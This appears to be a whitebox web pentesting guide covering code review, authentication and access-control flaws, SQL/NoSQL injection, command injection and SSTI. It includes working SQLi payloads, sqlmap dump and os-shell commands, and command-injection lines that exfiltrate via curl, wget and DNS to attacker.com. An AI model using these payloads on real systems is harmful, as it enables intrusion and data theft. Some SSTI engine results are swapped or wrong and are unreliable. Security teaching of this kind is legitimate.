Legend:
[CODE]= Source code review |[BURP]= Burp Suite action |[TOOL]= External tool |[AUTH]= Authentication/Authorization |[INJ]= Injection vulnerability |[LOGIC]= Business logic |[CRYPT]= Cryptography issue |[API]= API-specific |[SAST]= Static analysis |[DAST]= Dynamic analysis |[CONF]= Misconfiguration |[CLIENT]= Client-side attack
1. Whitebox Testing — Fundamentals
What it means: In whitebox (a.k.a. crystal-box or code-assisted) web app pentesting, you have full access to the source code, architecture diagrams, database schemas, credentials, and sometimes the CI/CD pipeline. This is fundamentally different from blackbox — instead of guessing what the app does, you know what it does and you use that knowledge to find vulnerabilities faster and deeper. A skilled whitebox tester should find everything a blackbox tester finds plus vulnerabilities that are invisible from the outside (logic flaws, hard-coded secrets, weak crypto, insecure internal APIs, etc.).
1.1 Whitebox vs Greybox vs Blackbox
┌──────────────────────────────────────────────────────────────────────────────┐
│ TESTING APPROACH COMPARISON │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ Blackbox │
│ ├─ No source code, no credentials, no docs │
│ ├─ Simulates external attacker with zero prior knowledge │
│ ├─ Pros: realistic, no bias from code │
│ └─ Cons: misses logic flaws, slow, incomplete │
│ │
│ Greybox │
│ ├─ Partial info: some credentials, API docs, architecture overview │
│ ├─ Most common in real-world engagements │
│ ├─ Pros: balanced realism + depth │
│ └─ Cons: incomplete code coverage │
│ │
│ Whitebox ← (this document) │
│ ├─ Full source code, schemas, secrets, CI/CD access │
│ ├─ Simulates insider threat, post-breach review, or secure SDLC audit │
│ ├─ Pros: deepest coverage, finds ALL vulnerability classes │
│ └─ Cons: scope creep, time-intensive, requires code reading skill │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
1.2 What You Get in a Whitebox Engagement
Deliverables from the client:
| Asset | What to look for |
|---|---|
| Source code | All languages/frameworks, config files, secrets |
| DB schema | Column names, data types, stored procedures, triggers |
| Architecture diagram | Internal services, APIs, message queues, cache layers |
| API specs (Swagger/OpenAPI) | All endpoints, parameters, auth schemes |
| CI/CD pipeline config | Build steps, secrets in env vars, deploy scripts |
| Infrastructure config | Nginx/Apache configs, WAF rules, cloud IAM policies |
| Credentials | Admin account, service accounts for dynamic testing |
| Third-party integrations | External APIs, SSO providers, payment gateways |
1.3 Whitebox Testing Phases
┌─────────────────────────────────────────────────────────────────┐
│ WHITEBOX PENTEST PHASES │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Phase 1: Recon & Stack Fingerprinting │
│ └── Identify language, framework, libraries, DB, auth │
│ │
│ Phase 2: Static Code Review (SAST) │
│ └── Taint analysis, dangerous functions, hardcoded secrets │
│ │
│ Phase 3: Dynamic Testing (DAST) │
│ └── Burp Suite active scan + manual testing with context │
│ │
│ Phase 4: Logic & Architecture Review │
│ └── Authz flows, race conditions, business logic │
│ │
│ Phase 5: Dependency & Config Analysis │
│ └── CVE scanning, misconfigured headers/TLS/CORS │
│ │
│ Phase 6: Reporting │
│ └── CVSS scoring, PoC exploits, remediation guidance │
│ │
└─────────────────────────────────────────────────────────────────┘
2. Engagement Setup & Recon
What it means: Before touching any code or sending a single request, spend time understanding the full technology stack. Knowing that the app is Django+PostgreSQL vs Laravel+MySQL vs Express+MongoDB changes everything about what vulnerabilities to look for and where.
2.1 Tech Stack Identification
# ─── Identify language/framework from repo structure ───
ls -la # Look for package.json, requirements.txt, pom.xml, Gemfile
cat package.json # Node.js: framework, version, all deps
cat requirements.txt # Python: Flask/Django/FastAPI + versions
cat Pipfile.lock # Python: locked dep tree with exact versions
cat composer.json # PHP: Laravel/Symfony/CodeIgniter
cat pom.xml # Java: Spring Boot, Struts, Hibernate
cat build.gradle # Java/Kotlin: Gradle build
cat Gemfile # Ruby: Rails, Sinatra
cat go.mod # Go: Echo, Gin, Fiber
cat *.csproj # .NET: ASP.NET Core version
# ─── Look for config files (goldmine) ───
find . -name "*.env" -o -name ".env*" -o -name "config.yml" \
-o -name "settings.py" -o -name "application.properties" \
-o -name "appsettings.json" -o -name "web.config" 2>/dev/null
# ─── Grep for hardcoded secrets immediately ───
grep -rn "password\|secret\|api_key\|apikey\|token\|AWS_\|DB_PASS" \
--include="*.py" --include="*.js" --include="*.php" \
--include="*.java" --include="*.rb" --include="*.env" .
# ─── Git history for deleted secrets ───
git log --all --full-history -- "*.env"
git log --oneline --all | head -50
git show <commit_hash>:<file_path> # view file at old commit
git log -p --all -S "password" # search ALL diffs for keyword
trufflehog git file://. # automated secret scanning in git
2.2 Application Entry Point Mapping
# ─── Map all routes (framework-specific) ───
# Django (Python)
grep -rn "urlpatterns\|path(\|re_path\|url(" --include="*.py" .
python manage.py show_urls # if django-extensions installed
# Flask (Python)
grep -rn "@app.route\|@blueprint.route\|add_url_rule" --include="*.py" .
# Express (Node.js)
grep -rn "app\.get\|app\.post\|app\.put\|app\.delete\|router\." \
--include="*.js" --include="*.ts" .
# Laravel (PHP)
cat routes/web.php
cat routes/api.php
php artisan route:list # if you have local env
# Spring Boot (Java)
grep -rn "@RequestMapping\|@GetMapping\|@PostMapping\|@PutMapping\|@DeleteMapping" \
--include="*.java" .
# Rails (Ruby)
cat config/routes.rb
rails routes # if local env
# ─── Map all controllers/handlers ───
find . -name "*Controller*" -o -name "*Handler*" -o -name "*View*" | grep -v node_modules
# ─── Identify auth middleware ───
grep -rn "require_login\|@login_required\|IsAuthenticated\|authenticate\|middleware" \
--include="*.py" --include="*.js" --include="*.php" --include="*.java" .
2.3 Database Schema Analysis
# ─── Read schema directly from file ───
cat schema.sql
cat db/schema.rb # Rails
find . -name "*.sql" | xargs grep -l "CREATE TABLE"
# ─── ORM model files (reveals column names even without SQL schema) ───
find . -name "models.py" | xargs cat # Django
find . -name "*.model.js" | xargs cat # Sequelize
find . -name "*Entity*.java" | xargs cat # Hibernate JPA
grep -rn "class.*Model\|sequelize.define\|mongoose.Schema" . --include="*.js"
# ─── Migration files (reveal schema evolution + sometimes sensitive changes) ───
find . -name "*migration*" -o -path "*/migrations/*" | head -30
find . -path "*/db/migrate/*.rb" # Rails
# Things to note from schema:
# - Tables with sensitive data (users, tokens, payments, logs)
# - Foreign key relationships → helps understand IDOR attack surface
# - Columns named: role, is_admin, permissions, status
# - Stored procedures → potential for SQL injection
2.4 Burp Suite Setup for Whitebox Testing
# ─── Burp configuration checklist ───
1. Proxy Setup:
- Add target to scope: Target → Scope → Include: https://target.com
- Enable: "Drop all out-of-scope requests"
2. Auth:
- Use Burp's "Session Handling Rules" with the admin creds provided
- Add a macro that re-authenticates when session expires
3. Crawl with Context:
- Spider → active crawl WITH your authenticated session
- Manually walk every route you found in step 2.2 to ensure coverage
4. Extensions (install via BApp store):
- Autorize → automated IDOR/auth bypass testing
- Param Miner → discover hidden parameters
- JWT Editor → JWT manipulation
- Hackvertor → encoding transforms
- Turbo Intruder → high-speed fuzzing / race conditions
- Active Scan++ → extended active scan checks
- Retire.js → detect vulnerable JS libraries
- Logger++ → enhanced request logging
3. Code Review Methodology
What it means: The core skill of whitebox testing is taint analysis — tracing user-controlled input from source (where user data enters the app) to sink (where that data is used in a dangerous way). If there is a path from source to sink with no sanitization/validation, you have a vulnerability. Reading entire codebases top-down is inefficient; start with the sinks.
3.1 Taint Analysis — Sources & Sinks
┌──────────────────────────────────────────────────────────────────────────┐
│ TAINT ANALYSIS MODEL │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ SOURCE (user-controlled input) │
│ ├─ GET/POST parameters │
│ ├─ HTTP headers (User-Agent, Referer, X-Forwarded-For, Cookie) │
│ ├─ JSON/XML/multipart request bodies │
│ ├─ File uploads (filename, content) │
│ ├─ WebSocket messages │
│ └─ GraphQL query/mutation arguments │
│ │ │
│ ▼ │
│ PROCESSING (may or may not sanitize) │
│ ├─ Input validation (whitelist/regex) │
│ ├─ Encoding/escaping functions │
│ ├─ Parameterized queries / prepared statements │
│ └─ Output encoding (HTML entity encoding, etc.) │
│ │ │
│ ▼ │
│ SINK (dangerous function call) │
│ ├─ DB query → SQL Injection │
│ ├─ Shell exec → Command Injection │
│ ├─ Template render → SSTI │
│ ├─ XML parser → XXE │
│ ├─ HTTP request → SSRF │
│ ├─ HTML output → XSS │
│ ├─ Deserialize() → Insecure Deserialization │
│ ├─ File path → Path Traversal / LFI │
│ └─ eval() / exec() → RCE │
│ │
└──────────────────────────────────────────────────────────────────────────┘
3.2 Dangerous Functions by Language
# ─── Python dangerous sinks ───
# Command execution:
os.system() # no escape possible
os.popen()
subprocess.call(shell=True) # DANGEROUS with shell=True
subprocess.Popen(shell=True)
eval() # code execution
exec()
compile() + eval()
pickle.loads() # deserialization RCE
yaml.load() # use yaml.safe_load() instead
__import__()
# SQL:
cursor.execute("SELECT * FROM users WHERE id=" + user_input) # vuln
# Safe: cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
# Template:
jinja2.Template(user_input).render() # SSTI
render_template_string(user_input) # Flask SSTI
# File:
open(user_input) # path traversal
// ─── Node.js dangerous sinks ───
// Command execution:
child_process.exec(userInput) // DANGEROUS - shell: true by default
child_process.execSync(userInput)
eval(userInput)
new Function(userInput)()
vm.runInNewContext(userInput) // sandbox escape possible
// SQL:
db.query("SELECT * FROM users WHERE id=" + userId) // SQLi
// Safe: db.query("SELECT * FROM users WHERE id=?", [userId])
// Template (SSTI):
ejs.render(userInput) // if template is user-controlled
pug.render(userInput)
handlebars.compile(userInput)
// Prototype pollution:
obj[userInput] = value // if key is user-controlled
_.merge({}, userControlledObject) // lodash merge
// Path traversal:
fs.readFile(path.join(__dirname, userInput))
res.sendFile(userInput)
// ─── PHP dangerous sinks ───
// Command execution:
system($userInput);
exec($userInput);
shell_exec($userInput);
passthru($userInput);
`$userInput`; // backtick operator
preg_replace('/pattern/e', $userInput); // /e flag = code eval (deprecated)
// SQL:
mysqli_query($conn, "SELECT * FROM users WHERE id=$id"); // SQLi
// Safe: prepared statements with $stmt->bind_param()
// Code execution:
eval($userInput);
assert($userInput); // eval-equivalent in old PHP
include($userInput); // LFI/RFI
require($userInput);
file_get_contents($userInput); // SSRF if URL
// XSS:
echo $userInput; // no escape
print $userInput;
echo "<p>" . $_GET['name'] . "</p>"; // classic XSS sink
// ─── Java dangerous sinks ───
// Command execution:
Runtime.getRuntime().exec(userInput);
ProcessBuilder(Arrays.asList(userInput));
// SQL:
Statement.executeQuery("SELECT * FROM users WHERE id=" + id); // SQLi
// Safe: PreparedStatement with setString()
// Deserialization:
ObjectInputStream.readObject(); // potential RCE
XMLDecoder.readObject();
new XStream().fromXML(userInput); // XXE + deserialization
(de)serialized via Jackson with @JsonTypeInfo(use=Id.CLASS)
// JNDI (Log4Shell class):
InitialContext().lookup(userInput); // JNDI injection
logger.info(userInput); // if log4j 2.x → Log4Shell
// XSS (Thymeleaf):
model.addAttribute("data", userInput); // safe with th:text
// DANGEROUS: th:utext="${data}" // unescaped
// DANGEROUS: th:action="${redirect}" // open redirect / SSTI
3.3 Automated Code Review Tools (SAST)
# ─── Semgrep (best general-purpose, free) ───
pip install semgrep
semgrep --config=auto . # use community rules
semgrep --config=p/python . # language-specific
semgrep --config=p/django . # framework-specific
semgrep --config=p/nodejs-security-audit .
semgrep --config=p/java .
semgrep --config=p/php .
semgrep --config=p/jwt .
semgrep --config=p/sql-injection .
semgrep --output=findings.json --json . # machine-readable output
# ─── Bandit (Python-specific) ───
pip install bandit
bandit -r ./app -f html -o bandit_report.html
bandit -r ./app -l # low confidence findings too
bandit -r ./app -t B102,B103,B104 # specific test IDs
# ─── CodeQL ───
# Install CodeQL CLI from GitHub
codeql database create mydb --language=javascript --source-root=./app
codeql database analyze mydb javascript-security-and-quality.qls \
--format=sarif-latest --output=results.sarif
# ─── Grype (dependency CVE scanning) ───
grype dir:. # scan directory
grype image:app:latest # scan container image
grype sbom:sbom.json # scan SBOM file
# ─── Gitleaks (secret scanning) ───
gitleaks detect --source . -v # detect in working tree
gitleaks detect --source . --log-opts="--all" -v # scan all git history
gitleaks detect --redact # redact secrets in output
3.4 Manual Code Review — Grep Recipes
# ─── PHP: dangerous function usage ───
grep -rn "eval\|system\|exec\|shell_exec\|passthru\|popen\|proc_open" \
--include="*.php" . | grep -v "// "
# ─── PHP: SQL injection patterns ───
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_COOKIE\|\$_SERVER" \
--include="*.php" . | grep -v "htmlspecialchars\|intval\|filter_input"
# ─── Python: shell=True (command injection) ───
grep -rn "shell=True\|os\.system\|os\.popen\|subprocess.*shell" \
--include="*.py" .
# ─── Python: SQL injection in raw queries ───
grep -rn "execute\s*(\s*[\"'].*%s\|execute\s*(\s*f[\"']\|\.format(" \
--include="*.py" . | grep -v "# safe\|parameterized"
# ─── JS: eval / dangerous sinks ───
grep -rn "eval(\|new Function(\|innerHTML\s*=\|document\.write(" \
--include="*.js" --include="*.ts" . | grep -v "// "
# ─── Any language: hardcoded IPs / keys ───
grep -rPn "(api[_-]?key|secret|password|token)\s*=\s*['\"][^'\"]{8,}" \
--include="*.py" --include="*.js" --include="*.php" \
--include="*.java" --include="*.rb" --include="*.go" .
# ─── Crypto: weak algorithms ───
grep -rn "MD5\|SHA1\|DES\|RC4\|ECB\|\"AES\"\|createCipher\b" \
--include="*.py" --include="*.js" --include="*.java" \
--include="*.php" --include="*.rb" .
# ─── JWT: none algorithm / weak signing ───
grep -rn "algorithms.*none\|verify.*False\|HS256.*secret.*=\s*['\"]" \
--include="*.py" --include="*.js" .
4. Authentication Vulnerabilities
What it means: Authentication is the process of verifying who you are. In whitebox testing you can see exactly how credentials are stored, how sessions are generated, how password resets work, and whether every endpoint actually enforces the auth check. This gives you a massive advantage — you can spot flawed auth logic that is invisible externally.
4.1 Password Storage Issues
# ─── VULNERABLE: plaintext / weak hashing ───
# Plaintext:
user.password = request.POST['password'] # stored raw!
# MD5 / SHA1 (broken — rainbow tables exist for billions of values):
import hashlib
hashed = hashlib.md5(password.encode()).hexdigest()
hashed = hashlib.sha1(password.encode()).hexdigest()
# SHA256 without salt (still crackable with large wordlists):
hashed = hashlib.sha256(password.encode()).hexdigest()
# ─── SECURE: bcrypt / argon2 / scrypt / PBKDF2 ───
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=2, memory_cost=65536, parallelism=2)
hashed = ph.hash(password)
# ─── What to check in code review ───
# 1. Find where passwords are stored:
grep -rn "password\s*=\|\.password\s*=" --include="*.py" . | grep -v "#"
# 2. Verify bcrypt/argon2 is used:
grep -rn "bcrypt\|argon2\|scrypt\|pbkdf2" --include="*.py" --include="*.js" .
# 3. Find cost factor (too low = brute-forceable):
grep -rn "rounds=\|cost_factor\|iterations=" --include="*.py" .
# bcrypt: rounds >= 10 (12 is good), argon2: memory >= 64MB
# 4. Look for timing attack vulnerabilities in comparison:
grep -rn "==\s*password\|password\s*==" --include="*.py" .
# Should use: hmac.compare_digest() or bcrypt.checkpw() (constant-time)
4.2 Session Management Flaws
# ─── Dangerous patterns to grep for ───
# Python/Flask: weak secret key
grep -rn "SECRET_KEY\s*=\s*['\"]" --include="*.py" .
# Flags: short keys, 'secret', 'dev', 'change_me', '1234'
# Python/Django: session engine
grep -rn "SESSION_ENGINE\|SESSION_COOKIE_SECURE\|SESSION_COOKIE_HTTPONLY" \
--include="*.py" .
# Insecure: SESSION_COOKIE_SECURE = False (allows over HTTP)
# Insecure: SESSION_COOKIE_HTTPONLY = False (JS can read session cookie)
# Node.js: express-session misconfiguration
grep -rn "express-session\|cookie-session" --include="*.js" .
# Flags: secret is weak, resave:true, saveUninitialized:true
# Flags: secure:false, httpOnly:false
# PHP: session fixation
grep -rn "session_start\|session_regenerate_id" --include="*.php" .
# After login: session_regenerate_id(true) MUST be called!
# If not: session fixation attack possible
# Session token entropy:
grep -rn "random\|uuid\|token" --include="*.py" --include="*.js" .
# Bad: random.random(), Math.random() (not cryptographically secure)
# Good: secrets.token_hex(32), crypto.randomBytes(32)
4.3 Password Reset Flaws
# ─── Common reset token vulnerabilities ───
# 1. Predictable token (find token generation code):
grep -rn "reset_token\|password_reset\|forgot_password" --include="*.py" .
# BAD patterns:
token = str(int(time.time())) # timestamp — predictable
token = hashlib.md5(email.encode()).hexdigest() # deterministic!
token = str(uuid.uuid1()) # UUID1 uses timestamp → predictable
import random; token = str(random.randint(1000, 9999)) # 4 digits!
# GOOD pattern:
import secrets
token = secrets.token_urlsafe(32) # 32 bytes = 256-bit entropy
# 2. Token not expiring:
grep -rn "expires\|expiry\|created_at\|valid_until" --include="*.py" .
# If token has no expiry → valid forever
# 3. Token not invalidated after use:
grep -rn "token.*used\|token.*delete\|invalidate.*token" --include="*.py" .
# After reset: token must be deleted/marked used
# 4. Host header injection in reset email:
grep -rn "request\.host\|request\.get_host\|HTTP_HOST" --include="*.py" .
# BAD: reset_link = f"https://{request.META['HTTP_HOST']}/reset?token={token}"
# If Host header is attacker-controlled → poisoned link sent to victim
# GOOD: use a hardcoded domain from settings
4.4 Multi-Factor Authentication Bypass
# ─── Code patterns that indicate MFA bypass risk ───
# 1. MFA check done after authentication (order matters):
grep -rn "mfa\|totp\|otp\|two_factor" --include="*.py" .
# Check: is mfa verified BEFORE or AFTER session is created?
# If session is created before MFA check → login valid with stolen session pre-MFA
# 2. TOTP: reuse of used tokens (replay attack):
grep -rn "totp\|pyotp\|speakeasy" --include="*.py" --include="*.js" .
# Must store last used token to prevent replay within 30-second window
# 3. Brute-forceable OTP:
grep -rn "rate_limit\|max_attempts\|lockout" --include="*.py" .
# If no rate limiting on OTP endpoint → enumerate 000000-999999 (1M attempts)
# 6-digit TOTP: 10^6 = 1,000,000 possible values
# 4. Response manipulation (dynamic testing):
# POST /verify-otp {"code": "123456"} → 401 {"success": false}
# Modify response to: 200 {"success": true} → does app trust client response?
5. Authorization & Access Control
What it means: Authorization is the process of verifying what you are allowed to do. It is arguably the most commonly missed vulnerability class in web apps. The key question is: does every single sensitive action verify that the current user has permission to perform it? With whitebox access, you can map every endpoint and confirm whether the authz check exists in the code.
5.1 Broken Access Control Patterns
# ─── VULNERABLE: no authorization check ───
# Django view — assumes login = authorization:
@login_required
def get_document(request, doc_id):
doc = Document.objects.get(id=doc_id) # ← NO ownership check!
return JsonResponse(doc.to_dict())
# Any logged-in user can access ANY document by changing doc_id → IDOR
# ─── SECURE: ownership check ───
@login_required
def get_document(request, doc_id):
doc = Document.objects.get(id=doc_id, owner=request.user) # ← filtered
return JsonResponse(doc.to_dict())
# ─── VULNERABLE: role check missing ───
def admin_delete_user(request, user_id):
# No role check!
User.objects.filter(id=user_id).delete()
return JsonResponse({"status": "deleted"})
# ─── SECURE ───
def admin_delete_user(request, user_id):
if not request.user.has_perm('auth.delete_user'):
return HttpResponse(status=403)
User.objects.filter(id=user_id).delete()
return JsonResponse({"status": "deleted"})
5.2 Privilege Escalation Patterns
# ─── Horizontal privilege escalation (user A accesses user B's data) ───
# Look for: object fetched by ID without owner filter
grep -rn "\.get(id=\|\.filter(id=\|findById\|findOne.*id" \
--include="*.py" --include="*.js" . | grep -v "owner\|user_id\|created_by"
# ─── Vertical privilege escalation (user accessing admin functions) ───
# Look for: missing role/permission check on sensitive endpoints
grep -rn "def admin_\|/admin/\|role.*admin\|is_admin\|is_staff" \
--include="*.py" . | head -30
# ─── Check every admin route for proper guard ───
# Map admin routes:
grep -rn "@admin_required\|@permission_required\|@staff_member_required" \
--include="*.py" .
# Cross-reference with all /admin/* routes — any route WITHOUT the decorator is vulnerable
# ─── Mass assignment: user sets their own role ───
# BAD (Django):
user = User(**request.POST.dict()) # user can POST role=admin!
# SAFE:
user = User(username=request.POST['username'], email=request.POST['email'])
# Or whitelist with form validation
5.3 Insecure Direct Object Reference (IDOR) — Systematic Hunt
# ─── Step 1: Find all endpoint parameters that reference objects ───
grep -rn "request\.GET\['id'\]\|request\.POST\['id'\]\|params\['id'\]\|req\.params\.id" \
--include="*.py" --include="*.js" --include="*.php" .
# ─── Step 2: For each ID parameter, trace to DB query ───
# Is it filtered by current user?
# ─── Step 3: Dynamic testing with Burp Autorize ───
# 1. Log in as User A, install Autorize extension
# 2. Copy User B's session token into Autorize's header tab
# 3. Browse the app as User A
# 4. Autorize replays every request with User B's token
# 5. "Bypassed!" = User B can access User A's resources
# ─── ID types and how to test ───
# Sequential int IDs: increment/decrement (1, 2, 3...)
# UUID: harder to guess but still vulnerable if access control missing
# Hash IDs (hashids/sqids): decode the algorithm from source code, generate valid IDs
5.4 JWT-Based Authorization Bypass
# ─── Look for JWT validation in code ───
grep -rn "jwt.decode\|jwt.verify\|jsonwebtoken\|PyJWT\|jose" \
--include="*.py" --include="*.js" .
# Python PyJWT — dangerous patterns:
jwt.decode(token, options={"verify_signature": False}) # signature not checked!
jwt.decode(token, algorithms=["none", "HS256"]) # allows "none" algorithm
# Node.js jsonwebtoken:
jwt.verify(token, secret, {algorithms: ['none', 'HS256']}) # allows none!
# Check if role is taken from JWT without server-side verification:
payload = jwt.decode(token, key)
if payload['role'] == 'admin': # if attacker forges JWT → admin!
# should additionally check DB
6. SQL Injection
What it means: SQL injection occurs when user input is concatenated directly into a SQL query without parameterization. In whitebox testing, you can find every raw query in the codebase and determine exactly which parameters are injectable — no guessing, no blind detection.
6.1 Identifying Vulnerable Queries in Source
# ─── Python (SQLAlchemy / raw psycopg2 / Django ORM raw) ───
# Bad: string formatting in queries
grep -rn "execute\s*(\s*[\"'].*%" --include="*.py" . # % formatting
grep -rn "execute\s*(\s*f[\"']" --include="*.py" . # f-strings in queries
grep -rn "execute\s*(\s*[\"'].*\+\s*" --include="*.py" . # string concatenation
grep -rn "\.raw(\s*[\"'].*%" --include="*.py" . # Django ORM .raw()
grep -rn "text\s*(\s*f[\"']\|text\s*(\s*[\"'].*\+" --include="*.py" . # SQLAlchemy text()
# ─── PHP ───
grep -rn "mysql_query\|mysqli_query\|pg_query" --include="*.php" . \
| grep '\$_\|\.\ '
# ─── Java ───
grep -rn "Statement\|createStatement\|executeQuery" --include="*.java" . \
| grep "+" # concatenation
# ─── Node.js (mysql / pg / mssql) ───
grep -rn "\.query\s*([\"'\`].*\+\|\.query\s*(\`" --include="*.js" . # template literals
grep -rn "knex\.raw\|sequelize\.query.*\+" --include="*.js" .
6.2 SQL Injection Types & Payloads
-- ─── Classic (error-based) ───
' OR '1'='1 -- always true
' OR 1=1-- -- comment out rest
' OR 1=1# -- MySQL comment
' OR 1=1/* -- C-style comment
admin'-- -- bypass password check
' UNION SELECT NULL-- -- start UNION enumeration
' AND 1=CONVERT(int,(SELECT @@version))-- -- MSSQL error-based
-- ─── UNION-based (retrieve data) ───
-- Step 1: Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- error means too many columns
-- Step 2: Find string-compatible columns
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
-- Step 3: Extract data
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
-- ─── Boolean-based blind ───
' AND 1=1-- → true (same response)
' AND 1=2-- → false (different response)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
-- ─── Time-based blind ───
' AND SLEEP(5)-- -- MySQL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL
' AND 1=(SELECT 1 FROM pg_sleep(5))-- -- PostgreSQL
-- ─── Second-order injection ───
-- Input stored in DB, later used unsafely in another query
-- Register username: admin'--
-- Later: SELECT * FROM users WHERE username='admin'--'
-- The comment kills the rest of the query
6.3 Exploitation with sqlmap
# ─── Basic usage ───
sqlmap -u "https://target.com/search?q=1" --batch --level=5 --risk=3
# ─── POST request ───
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--batch -p username
# ─── From Burp request file ───
# Save request from Burp as request.txt (right-click → Save item)
sqlmap -r request.txt --batch --level=5 --risk=3
# ─── Authenticated (cookie) ───
sqlmap -u "https://target.com/profile?id=1" \
--cookie="session=abc123" --batch
# ─── Enumerate databases ───
sqlmap -r request.txt --batch --dbs
# ─── Enumerate tables ───
sqlmap -r request.txt --batch -D target_db --tables
# ─── Dump table ───
sqlmap -r request.txt --batch -D target_db -T users --dump
# ─── Get OS shell (if stacked queries + FILE privilege) ───
sqlmap -r request.txt --batch --os-shell
# ─── Tamper scripts (WAF bypass) ───
sqlmap -r request.txt --batch --tamper=space2comment,between,randomcase
sqlmap -r request.txt --batch --tamper=charunicodeencode
# List all tampers: ls /usr/share/sqlmap/tamper/
# ─── Specify DBMS (faster) ───
sqlmap -r request.txt --batch --dbms=mysql
sqlmap -r request.txt --batch --dbms=postgresql
sqlmap -r request.txt --batch --dbms=mssql
6.4 NoSQL Injection
# ─── MongoDB injection (Node.js / Python) ───
# Vulnerable code (Node.js):
# User.findOne({ username: req.body.username, password: req.body.password })
# If body is JSON: {"username": {"$gt": ""}, "password": {"$gt": ""}}
# → $gt:"" matches EVERYTHING → auth bypass!
# ─── Common payloads ───
# JSON body:
{"username": {"$ne": null}, "password": {"$ne": null}} # ne = not equal
{"username": {"$gt": ""}, "password": {"$gt": ""}} # gt = greater than
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
# URL parameter injection:
?username[$ne]=admin&password[$ne]=wrongpassword
?username[$regex]=adm.*&password[$gt]=
# ─── Code pattern to look for ───
# DANGEROUS:
db.collection.find({ username: req.body.username }) # object injection if JSON
# SAFE:
db.collection.find({ username: String(req.body.username) })
# ─── Testing with Burp ───
# Change Content-Type: application/x-www-form-urlencoded to application/json
# Inject operators in JSON values
7. Command Injection
What it means: Command injection occurs when user input is passed to a system shell without proper escaping. It results in direct OS command execution — often leading to RCE. In source code, look for any function that invokes a shell, and trace whether user data reaches it.
7.1 Identifying Vulnerable Code
# ─── Python: the classic mistake ───
# DANGEROUS: shell=True + user input
filename = request.POST.get('filename')
result = subprocess.run(f"file {filename}", shell=True, capture_output=True)
# Input: "test.txt; id" → runs: file test.txt; id
# SAFE: list form, no shell
result = subprocess.run(["file", filename], capture_output=True)
# Input: "test.txt; id" → argument to file, not a shell command
# ALSO DANGEROUS:
os.system("ping " + ip_address) # user-controlled ip_address
os.popen("convert " + filename + " out.png")
# ─── PHP: same principle ───
$filename = $_GET['file'];
system("file " . $filename); # DANGEROUS
exec("convert " . $filename . " out.png"); # DANGEROUS
shell_exec("ls " . $dir); # DANGEROUS
7.2 Command Injection Payloads
# ─── Basic separators ───
; id # semicolon — run second command
&& id # AND — run if first succeeds
|| id # OR — run if first fails
| id # pipe — output of first to id
`id` # backtick — command substitution
$(id) # bash subshell
%0a id # newline (URL-encoded)
%0d%0a id # CRLF (URL-encoded)
# ─── Out-of-band (when no output returned) ───
; curl http://attacker.com/$(id)
; wget http://attacker.com/$(whoami)
; nslookup $(id).attacker.com # DNS exfiltration
; ping -c 1 $(id | xxd -p | tr -d '\n').attacker.com
# ─── Blind confirmation ───
; sleep 5 # time delay
& ping -c 5 127.0.0.1 & # background sleep-equivalent
# ─── Bypass filters ───
# Spaces blocked:
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
IFS=,;cat,/etc/passwd
# Slash blocked:
echo${IFS}$(echo${IFS}"/etc/passwd")
cat${IFS}$(echo${IFS}"L2V0Yy9wYXNzd2Q="|base64${IFS}-d)
# Keywords blocked:
c'a't /etc/passwd # string quoting bypass
ca''t /etc/passwd
cat /e''tc/pass''wd
7.3 Testing with Burp
# ─── Manual testing approach ───
1. Find every parameter that might be passed to a shell
(look at: file operations, ping/nslookup features, image processing, PDF generation)
2. Use Burp Repeater to inject payloads:
- Add ; sleep 5 to time-based confirmation
- If sleep works → OOB exfiltration next
3. Use Burp Collaborator for OOB:
- Insert collaborator URL: ; nslookup $(id).BURP_COLLABORATOR_URL
- Check for DNS interaction in Collaborator client
4. Use Burp Intruder for fuzzing with command injection wordlist:
/usr/share/seclists/Fuzzing/command-injection-commix.txt
8. Server-Side Template Injection (SSTI)
What it means: Template engines (Jinja2, Twig, Freemarker, Thymeleaf, etc.) allow dynamic content generation. If user-controlled input is passed directly into a template (rather than rendered into a template as a variable), the user can inject template syntax and execute arbitrary code on the server.
8.1 Identifying Vulnerable Code
# ─── Python/Flask SSTI: the critical difference ───
# VULNERABLE: user input IS the template
from flask import render_template_string, request
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template_string(f"<p>Hello {name}!</p>") # SSTI!
# Input: ?name={{7*7}} → <p>Hello 49!</p>
# SAFE: user input rendered INTO a template
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template('greet.html', name=name) # safe!
# greet.html: <p>Hello {{ name }}!</p> (Jinja2 auto-escapes)
# ─── JavaScript (Handlebars) ───
const template = Handlebars.compile(userInput); // SSTI if input is the template
const result = template({});
// SAFE:
const template = Handlebars.compile("Hello {{name}}");
const result = template({ name: userInput });
8.2 Detection Payloads by Engine
┌──────────────────────────────────────────────────────────────────────┐
│ SSTI DETECTION FLOWCHART │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ Inject: {{7*7}} │
│ → "49" → Jinja2 / Twig / Smarty │
│ → error → not Jinja2 │
│ → "{{7*7}}" → template engine not interpreting │
│ │
│ Inject: ${7*7} │
│ → "49" → Freemarker / Groovy / Thymeleaf │
│ │
│ Inject: #{7*7} │
│ → "49" → Ruby ERB │
│ │
│ Inject: {{7*'7'}} │
│ → "49" → Jinja2 (multiplies int by str = repeated str) │
│ → "7777777" → Twig (string repetition) │
│ │
└──────────────────────────────────────────────────────────────────────┘
8.3 Exploitation Payloads by Engine
# ─── Jinja2 (Python/Flask) ─ RCE ───
# List subclasses → find useful ones like subprocess
